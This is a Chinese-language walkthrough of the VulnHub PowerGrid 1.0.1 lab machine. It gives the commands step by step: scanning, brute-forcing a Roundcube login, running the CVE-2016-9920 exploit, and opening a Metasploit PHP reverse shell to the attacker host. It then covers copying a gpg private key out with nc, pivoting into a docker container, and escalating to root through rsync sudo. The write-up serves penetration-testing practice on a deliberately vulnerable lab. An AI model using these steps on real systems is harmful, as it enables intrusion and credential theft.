​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载。

难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova天翼云盘:https://cloud.189.cn/t/2UN7Ffiuqyym百度网盘:https://pan.baidu.com/s/10l8dshcdaLxWL7eGN92U4Q 提取码:r4zc官网简介:靶机会进行计时,即使关闭虚拟机也不会停止,超时后将销毁证据渗透目标:获取root权限,找到4个flag本机地址:192.168.110.27靶机地址:192.168.110.36 

信息收集

话不多说,直接上nmap看靶机IP。

nmap 192.168.110.0/24 -sP

本机是192.168.110.27,那靶机就是192.168.110.36。接着扫一下端口。

nmap -A -p- 192.168.110.36

没有打开22号端口可还行,第一次见到这么任性的靶机。没关系,80端口终归还是打开了的,看看网页。

网页端显示了一个计时器,文字说明提示这是一封勒索信,3个小时之内要交250亿欧元,这黑客可是真够黑的。不过,这个网页的最后透露了deez1、p48、all2这几个用户名,需要留意一下。

按照规矩,一般都会遍历一下网页的目录。

dirb http://192.168.110.36

什么也没有可还行,不过按照以前的经验(VulnHub CengBox2靶机渗透),有可能是默认字典不够大,使用dirbuster的字典再扫一次。

dirb http://192.168.110.36 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -w

发现images目录和zmail页面。

images目录就是两张背景图片,没什么用,而访问zmail页面则弹出一个登录对话框,使用几个常见密码和用户名登录失败,尝试使用burp爆破。

对登录界面抓包后发现用户名密码采用了Base64编码,使用burp自带的解码器解码。

其实就是在用户名和密码之间插入了一个冒号。接下来使用最经典的rockyou密码字典爆破,用户名则选择deez1、p48、all2。

经过漫长的等待,终于发现有一个响应包的长度跟其他的不一样。

成功获取登录密码,登录后发现又是一个登录界面。

使用同样的用户名密码登录尝试,登录成功(简直多此一举)。登录后发现root发送过来了一封右键。

邮件中写道还有另一台服务器,下面的加密信息就是SSH的私钥,是用p48的gpg私钥加密的,可以用来登录那台服务器但没必要。呵呵,没必要?我会听你的?你个糟老头子坏得很。不过暂时还没有办法解密消息,先把加密消息保存下来。

由于在网页端可以写邮件,因此猜测能通过附件上传PHP木马,经过尝试后并不奏效,只好去查找roundcube的漏洞。

msfconsole search roundcube

痛苦,在Metasploit里找不到相关漏洞。不过不用灰心,说不定在网上能找到。

经过查找后发现小于1.2.2版本的roundcube存在代码执行漏洞,编码为CVE-2016-9920,GitHub链接为:https://github.com/t0kx/exploit-CVE-2016-9920。

git clone https://github.com/t0kx/exploit-CVE-2016-9920.git

漏洞利用

这个exp是用python写的,不过作者给的示例都不能使用,因为靶机上有两个登录界面,而正常来说,网站只需要登录一次就够了。另外,需要更改exp的发件人与收件人。

./exploit.py --host p48:electrico@192.168.110.36 --user p48 --pwd electrico --path /zmail --www_path "/var/www/html/zmail/"

攻击成功,现在只需要访问http://192.168.110.36/zmail/backdoor.php即可执行命令了。先看看/var/www/目录下都有些啥东西。

很好,发现了第一个flag文件,赶紧查看一下内容。

提示是pivote,并没有什么用。既然已经可以执行任意命令,那么就可以配合msf获取shell。

msfconsoleuse multi/script/web_deliveryset payload php/meterpreter_reverse_tcpset LHOST 192.168.110.27set target PHPrun

执行之后会显示一条以php开头的命令,复制到浏览器访问。

这时msf已经成功获取session了。

sessions -lsessions -i 1shell

很无奈,每次拿到的shell都很不好用,没有安全感。利用python将难用的shell改成bash。

whereis python

发现有python2.7和python3.7。

python3.7 -c 'import pty; pty.spawn("/bin/bash")'

成功获取了www-data的bash,接下来就要作点妖了,先看看家目录下都有哪些用户。

cd /homels

很好,有一个叫p48的用户,这个用户的网页端密码之前已经爆破出来了,尝试切换到p48。

完美,p48跟我一样,喜欢一个密码到处用,更惊喜的是p48家目录下有一个gpg私钥,这应该就是可以解密网页端加密消息的私钥了(翻译翻译,什么叫惊喜)。

不过奇怪的是,靶机上竟然没有gpg命令,必须拷贝到攻击主机上才能解密。

nc -lvvp 31337 < privkey.gpgnc 192.168.110.36 31337 > p48.gpg

接下来解密文件。

gpg --import p48.gpggpg --decrypt id_rsa.encoded > id_rsa

解密后还需要把id_rsa传回到靶机,同样使用的nc,这里就不赘述了。

现在问题来了,这个SSH私钥文件是要拿来连接谁的呢?邮件里root说的另一台服务器在哪呢?莫非这台靶机上还运行了虚拟机?查看一下IP看看有什么猫腻。

有一个叫docker0的网卡,这台靶机应该还运行着docker,所谓的另一台服务器应该就在容器里运行着。

扫一下172.17.0.0/24这个网段(网卡信息显示网段为172.17.0.0/16,不过172.17.0.0/24的范围更大,因此不会漏洞可能的IP),看看另一台靶机的端口是多少。由于靶机没有安装nmap,所以只能使用循环加ping的方法判断。

for i in {1..254} ; do ping -c 1 172.17.0.$i -W 1 &>/dev/null && echo 172.17.0.$i is alive || echo 192.168.110.$i is down ;done

还好IP比较靠前,一下子就扫出来了。接着使用SSH私钥登录。

chmod 600 id_rsassh -i id_rsa p48@172.17.0.2

登录后很容易就发现了第二个flag。

第二个flag提示p48的用户权限不高,很明显,这是提示要提权了。

权限提升

首先看看有什么命令是可以提权执行的。

sudo -l

rsync命令可以免密码以root用户权限运行,rsync命令可以理解成一个加强版的cp命令,既然可以使用root权限运行,那么就可以把/root/下的所有文件拷贝到/tmp目录下查看。

第三个flag已经出来了,这个flag提示pivoting backwards,难不成第四个flag在docker外?由于最开始扫描靶机端口时22号端口没有打开,这里又提示要往回找第四个flag,我们有理由怀疑靶机在docker0网卡上开放了SSH服务,往外连接试试。

实锤了,可以通过172.17.0.1连接到靶机。不过并不知道密码,p48用户家目录下的.ssh目录里也没有存放SSH私钥,这是一件很头疼的事。

经过查询,发现rsync命令不仅可以用来拷贝文件,还可以用来提权。

sudo -u root rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/nullwhoami

很好,已经成功提权到root,接下来查看/root/.ssh/目录下有没有SSH私钥。

cd /root/.sshlsssh -i id_rsa root@172.17.0.1

不出所料,成功登录到外面的靶机。接下来就是查找第四个flag了。

第四个flag就存放在/root/目录下,根据提示,这是最后一个flag了。

至此,对PowerGrid的渗透已经全部完成。

总结

这个靶机整体偏难,首先是网页端的爆破,一般的密码字典很难跑出来,而rockyou这个密码字典又很大,如果不耐心等待的话很难爆破出来。

其次是这台靶机多次用到了公私钥,如果对非对称加密和gpg工具不熟悉的话,可能就会无法进入下一关。

这台靶机还运行着docker,就相当于有两台靶机,这是PowerGrid比较新颖的地方。另外,3个小时的时间限制也为渗透增加了几分紧张刺激的气氛。

整体来说,这台靶机在形式上有一定的创新性,很值得下载下来亲自复现一下。

VulnHub PowerGrid 1.0.1靶机渗透的更多相关文章

  1. ch4inrulz: 1.0.1靶机渗透

    ch4inrulz: 1.0.1靶机渗透 扫描主机端口,还行啦四个开放的端口,8011和80端口都运行着web服务. 80端口下的robots.txt告诉我们什么都没有 在8011端口的apache服 ...

  2. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  3. 25. CTF综合靶机渗透(17)

    靶机链接 https://www.vulnhub.com/entry/the-ether-evilscience,212 运行环境 本靶机提供了VMware的镜像,从Vulnhub下载之后解压,运行v ...

  4. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  5. EVM靶机渗透

    前言 靶机下载地址: https://download.vulnhub.com/norzhctf/Basilic.ova 通过渗透靶机来学习相关知识以便提高在真实环境的渗透能力 ==. 安装: 我是用 ...

  6. hacknos-player靶机渗透

    靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...

  7. vulnhub-XXE靶机渗透记录

    准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...

  8. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  9. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

随机推荐

  1. windows下grunt的快速入门

    1.认识grunt  grunt是什么:他是一套前端自动化工具,是一个基于nodejs的命令行工具.(Grunt和Grunt插件是通过npm  安装并管理的,所以首先要安装nodejs). grunt ...

  2. MongoDB启动和关闭问题

    1.当我们使用离线安装mongodb完成后, 推荐安装教程: http://dblab.xmu.edu.cn/blog/868-2/#more-868 在使用 ' mongod -f XXX/mong ...

  3. Rocket - devices - bootrom

    https://mp.weixin.qq.com/s/PylfNmJDRasTUj9fGp7gLQ 简单介绍bootrom目录中各个文件的实现. 1. Makefile 1) make过程 Makef ...

  4. SpringBoot 集成 Mybatis(三)

    个人博客网:https://wushaopei.github.io/    (你想要这里多有) 1.增加持久化层 <dependency> <groupId>mysql< ...

  5. Java实现 LeetCode 69 x的平方根

    69. x 的平方根 实现 int sqrt(int x) 函数. 计算并返回 x 的平方根,其中 x 是非负整数. 由于返回类型是整数,结果只保留整数的部分,小数部分将被舍去. 示例 1: 输入: ...

  6. java实现 蓝桥杯 算法提高 Problem S4: Interesting Numbers 加强版

    1 问题描述 Problem Description We call a number interesting, if and only if: 1. Its digits consists of o ...

  7. Pytest单元测试框架——Pytest+Allure+Jenkins的应用

    一.简介 pytest+allure+jenkins进行接口测试.生成测试报告.结合jenkins进行集成. pytest是python的一种单元测试框架,与python自带的unittest测试框架 ...

  8. Flutter实战】文本组件及五大案例

    老孟导读:大家好,这是[Flutter实战]系列文章的第二篇,这一篇讲解文本组件,文本组件包括文本展示组件(Text和RichText)和文本输入组件(TextField),基础用法和五个案例助你快速 ...

  9. Python 报错:NameError: name 'ctypes' is not defined

    使用python中的ctypes模块可以很方便的调用windows的dll(也包括linux下的so等文件) 引入ctypes库 有两种方法 from ctypes import * import c ...

  10. v-model 指令来实现双向数据绑定

    <div id="app"> <p>{{ message }}</p> <input v-model="message" ...